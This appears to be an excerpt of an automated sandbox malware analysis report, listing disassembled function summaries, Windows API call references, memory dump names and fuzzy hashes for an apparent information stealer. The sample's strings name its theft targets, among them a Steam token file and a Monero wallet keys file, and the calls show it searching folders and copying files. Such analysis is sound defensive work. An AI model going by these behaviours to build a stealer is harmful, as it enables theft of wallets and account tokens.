Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: 1b49b1a87df885fcbbd32e117f6c4c9b0a11521a81d94444936f3598111f3ded
Instruction ID: d9133c91691340dd5465d8a1546b13c681b88e05e8c72cabae5248e5935c50cd
Opcode Fuzzy Hash: 1b49b1a87df885fcbbd32e117f6c4c9b0a11521a81d94444936f3598111f3ded
Instruction Fuzzy Hash: 2EF0FB7191010D6ACB14F7F4DC5EEED7F3CBA94304F40425DB45662492EF246609CAA6

Function 005C7ED0 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(005D0E2C), ref: 005C7F00
wsprintfA.USER32 ref: 005C7F16

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: bbee3f26c7a5b850c0cd863a1272186a63552fa09a957c84cb8ed33c951dd2e4
Instruction ID: e932f93a5b16cdfca4e258f2076ca458431fe68a31a1d799ec91f2851aab5111
Opcode Fuzzy Hash: bbee3f26c7a5b850c0cd863a1272186a63552fa09a957c84cb8ed33c951dd2e4
Instruction Fuzzy Hash: CDF06DB1A44208EBCB10DF88DC45FAAFBBCFB48A24F00466AF51592680D7796904CBE5

Function 005BB4F0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005CA740: lstrcpy.KERNEL32(005D0E17,00000000), ref: 005CA788

Part of subcall function 005CA9B0: lstrlen.KERNEL32(?,00C79D18,?,\Monero\wallet.keys,005D0E17), ref: 005CA9C5
Part of subcall function 005CA9B0: lstrcpy.KERNEL32(00000000), ref: 005CAA04
Part of subcall function 005CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005CAA12

Part of subcall function 005CA920: lstrcpy.KERNEL32(00000000,?), ref: 005CA972
Part of subcall function 005CA920: lstrcat.KERNEL32(00000000), ref: 005CA982

Part of subcall function 005CA8A0: lstrcpy.KERNEL32(?,005D0E17), ref: 005CA905

Part of subcall function 005CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005CA7E6

lstrlen.KERNEL32(00000000), ref: 005BB9C2
lstrlen.KERNEL32(00000000), ref: 005BB9D6

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 75848abc385ed9508596eab27a1a073e419af81a43c7a90b26beabb159665f44
Instruction ID: 5bab5773818f9a2f7193a142303de5e86a07931617d843406f3e05c9ad7ced23
Opcode Fuzzy Hash: 75848abc385ed9508596eab27a1a073e419af81a43c7a90b26beabb159665f44
Instruction Fuzzy Hash: 51E1FB7291011DAFDB14EBE0DC9AFEE7B38BF94304F40415DF106A2091EE746A49CBA6

Function 005BAEF0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005CA740: lstrcpy.KERNEL32(005D0E17,00000000), ref: 005CA788

Part of subcall function 005CA9B0: lstrlen.KERNEL32(?,00C79D18,?,\Monero\wallet.keys,005D0E17), ref: 005CA9C5
Part of subcall function 005CA9B0: lstrcpy.KERNEL32(00000000), ref: 005CAA04
Part of subcall function 005CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005CAA12

Part of subcall function 005CA920: lstrcpy.KERNEL32(00000000,?), ref: 005CA972
Part of subcall function 005CA920: lstrcat.KERNEL32(00000000), ref: 005CA982

Part of subcall function 005CA8A0: lstrcpy.KERNEL32(?,005D0E17), ref: 005CA905

lstrlen.KERNEL32(00000000), ref: 005BB16A
lstrlen.KERNEL32(00000000), ref: 005BB17E

Part of subcall function 005CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005CA7E6

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: aafe7d65e682be08f2df67df83fa25655ac277b404dc1055ce1a20548c4d24ee
Instruction ID: 407bb6a1084e6d4d3981b48f82b002a83cb44ff0b42dad3cc8ba58600feb9f6e
Opcode Fuzzy Hash: aafe7d65e682be08f2df67df83fa25655ac277b404dc1055ce1a20548c4d24ee
Instruction Fuzzy Hash: 44911D72910109AFDB14EBE4DC9AEEE7F38BF94304F40411DF506A6091EF746A09CBA6

Function 005BB230 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005CA740: lstrcpy.KERNEL32(005D0E17,00000000), ref: 005CA788

Part of subcall function 005CA9B0: lstrlen.KERNEL32(?,00C79D18,?,\Monero\wallet.keys,005D0E17), ref: 005CA9C5
Part of subcall function 005CA9B0: lstrcpy.KERNEL32(00000000), ref: 005CAA04
Part of subcall function 005CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005CAA12

Part of subcall function 005CA920: lstrcpy.KERNEL32(00000000,?), ref: 005CA972
Part of subcall function 005CA920: lstrcat.KERNEL32(00000000), ref: 005CA982

Part of subcall function 005CA8A0: lstrcpy.KERNEL32(?,005D0E17), ref: 005CA905

lstrlen.KERNEL32(00000000), ref: 005BB42E
lstrlen.KERNEL32(00000000), ref: 005BB442

Part of subcall function 005CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005CA7E6

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 1a6cb3e2f5818d4a3b48b703f8a9f8d1065e1b82d229a579bf10657e87820a1d
Instruction ID: 33120ba13fa969278bfdc006bb845aebe596b26b795950fc7542aec05ebd2ff5
Opcode Fuzzy Hash: 1a6cb3e2f5818d4a3b48b703f8a9f8d1065e1b82d229a579bf10657e87820a1d
Instruction Fuzzy Hash: 84714C72910109AFDB14EBE4DC9AEEE7F38BF94304F40451DF106A2091EF746A09CBA6

Function 005C4BB0 Relevance: 2.6, APIs: 2, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005C8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 005C8E0B

lstrcat.KERNEL32(?,00000000), ref: 005C4BEA
lstrcat.KERNEL32(?,00C7EA20), ref: 005C4C08

Part of subcall function 005C4910: wsprintfA.USER32 ref: 005C492C
Part of subcall function 005C4910: FindFirstFileA.KERNEL32(?,?), ref: 005C4943

Part of subcall function 005C4910: StrCmpCA.SHLWAPI(?,005D0FDC), ref: 005C4971
Part of subcall function 005C4910: StrCmpCA.SHLWAPI(?,005D0FE0), ref: 005C4987
Part of subcall function 005C4910: FindNextFileA.KERNEL32(000000FF,?), ref: 005C4B7D
Part of subcall function 005C4910: FindClose.KERNEL32(000000FF), ref: 005C4B92

Part of subcall function 005C4910: wsprintfA.USER32 ref: 005C49B0
Part of subcall function 005C4910: StrCmpCA.SHLWAPI(?,005D08D2), ref: 005C49C5
Part of subcall function 005C4910: wsprintfA.USER32 ref: 005C49E2
Part of subcall function 005C4910: PathMatchSpecA.SHLWAPI(?,?), ref: 005C4A1E
Part of subcall function 005C4910: lstrcat.KERNEL32(?,00C7F8D0), ref: 005C4A4A
Part of subcall function 005C4910: lstrcat.KERNEL32(?,005D0FF8), ref: 005C4A5C
Part of subcall function 005C4910: lstrcat.KERNEL32(?,?), ref: 005C4A70
Part of subcall function 005C4910: lstrcat.KERNEL32(?,005D0FFC), ref: 005C4A82
Part of subcall function 005C4910: lstrcat.KERNEL32(?,?), ref: 005C4A96
Part of subcall function 005C4910: CopyFileA.KERNEL32(?,?,00000001), ref: 005C4AAC
Part of subcall function 005C4910: DeleteFileA.KERNEL32(?), ref: 005C4B31

Part of subcall function 005C4910: wsprintfA.USER32 ref: 005C4A07

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 2104210347-0
Opcode ID: 452dc5ed76c9c955dc0d00ced42950d878d5b7ae4db7de3aecbcb497fc1295a6
Instruction ID: 1beae83b0b9f232c37b009b48d0d331083e453201df110950112d84dd88c1d66
Opcode Fuzzy Hash: 452dc5ed76c9c955dc0d00ced42950d878d5b7ae4db7de3aecbcb497fc1295a6
Instruction Fuzzy Hash: B441B6B65002046BC7A4F7A4EC56EFE373DBBC4740F40850DB54A56185EE756B88CFA2

Function 005B6660 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040), ref: 005B6706
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 005B6753

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 94815493e86cb81a693d04cbd241eac7334c57459de3ea438850c318dae07cad
Instruction ID: 52a08956bee11870464a1420c87dcae64c4347a8c6183aca13c8e8e9b56f263b
Opcode Fuzzy Hash: 94815493e86cb81a693d04cbd241eac7334c57459de3ea438850c318dae07cad
Instruction Fuzzy Hash: 1941B574A00209EFCB44CF98C494BEDBBB1FF48314F2486A9E9599B355D735EA81CB84

Function 005C5050 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005C8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 005C8E0B

lstrcat.KERNEL32(?,00000000), ref: 005C508A
lstrcat.KERNEL32(?,00C7F460), ref: 005C50A8

Part of subcall function 005C4910: wsprintfA.USER32 ref: 005C492C
Part of subcall function 005C4910: FindFirstFileA.KERNEL32(?,?), ref: 005C4943

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
